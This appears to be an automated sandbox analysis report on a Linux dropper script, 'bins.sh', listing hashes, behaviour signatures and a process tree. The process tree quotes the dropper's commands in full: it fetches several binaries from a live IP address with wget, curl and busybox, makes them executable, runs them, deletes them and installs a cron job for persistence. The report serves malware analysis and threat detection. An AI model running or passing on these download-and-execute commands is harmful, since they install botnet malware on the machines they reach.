Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 04:36

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    b164ba45909c2c3923c1328c84712f04

  • SHA1

    6c7aa04d410f4e2f7c66291e784eda77d29c0ea3

  • SHA256

    c78dfecb3f191e715bcb5c289d282871c859640c7d41a463db38e3d9daad3dee

  • SHA512

    ddb359eeca5e1e44ea04e720bc6eb7ad5117851fc7991fed872de68277f8606e4c5a437e148d9f932388a62e00fe80f30ba31ca5d225b3783e1310eade95907e

  • SSDEEP

    192:CN5mNFBzT2MUNQs+aRaLvbLU8Pa2h5dbzXGN5mNFjOMUNQsDcLvrU8Pa2N5dl:CN5mNFBzT2MUNQs+aRS35dbzXGN5mNFr

Malware Config

Signatures

  • Contacts a large (2176) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 64 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1496
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1497
        • /usr/bin/wget
          wget http://87.120.84.230/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:1498
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:1502
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:1503
        • /bin/chmod
          chmod 777 d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • File and Directory Permissions Modification
          PID:1504
        • /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          ./d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Executes dropped EXE
          PID:1505
        • /bin/rm
          rm d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
            PID:1507
          • /usr/bin/wget
            wget http://87.120.84.230/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Writes file to tmp directory
            PID:1508
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Writes file to tmp directory
            PID:1509
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Writes file to tmp directory
            PID:1510
          • /bin/chmod
            chmod 777 kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • File and Directory Permissions Modification
            PID:1511
          • /tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            ./kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Executes dropped EXE
            PID:1512
          • /bin/rm
            rm kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
              PID:1514
            • /usr/bin/wget
              wget http://87.120.84.230/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Writes file to tmp directory
              PID:1515
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Writes file to tmp directory
              PID:1516
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Writes file to tmp directory
              PID:1517
            • /bin/chmod
              chmod 777 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • File and Directory Permissions Modification
              PID:1518
            • /tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              ./4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Executes dropped EXE
              PID:1519
            • /bin/rm
              rm 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
                PID:1521
              • /usr/bin/wget
                wget http://87.120.84.230/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Writes file to tmp directory
                PID:1522
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Writes file to tmp directory
                PID:1523
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Writes file to tmp directory
                PID:1524
              • /bin/chmod
                chmod 777 9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • File and Directory Permissions Modification
                PID:1525
              • /tmp/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                ./9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Executes dropped EXE
                PID:1526
              • /bin/rm
                rm 9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                  PID:1528
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Writes file to tmp directory
                  PID:1529
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Writes file to tmp directory
                  PID:1530
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Writes file to tmp directory
                  PID:1531
                • /bin/chmod
                  chmod 777 CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1532
                • /tmp/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  ./CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1533
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1535
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1536
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1537
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1538
                      • /bin/rm
                        rm CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                        2⤵
                          PID:1540
                        • /usr/bin/wget
                          wget http://87.120.84.230/bins/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                          2⤵
                            PID:1543

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi

                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                        • /tmp/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /var/spool/cron/crontabs/tmp.9t9FT4

                          Filesize

                          210B

                          MD5

                          8ade84b0f4f4c23f61ef35f1e8ca4521

                          SHA1

                          5247e6fecf1ed4db75c90a9e2e211b913703d266

                          SHA256

                          335d850f2c8c41930e2cfcd1d3fe16f8e6f8f58337a09844d09dc9c69f11dcd3

                          SHA512

                          ae129151f285eb2803ce15a66bfe382f8b7e0dbec349609eedbcda857a454143e16519d1183a0273859d2a36125586e797b3103a91023208eb45e985423cfaea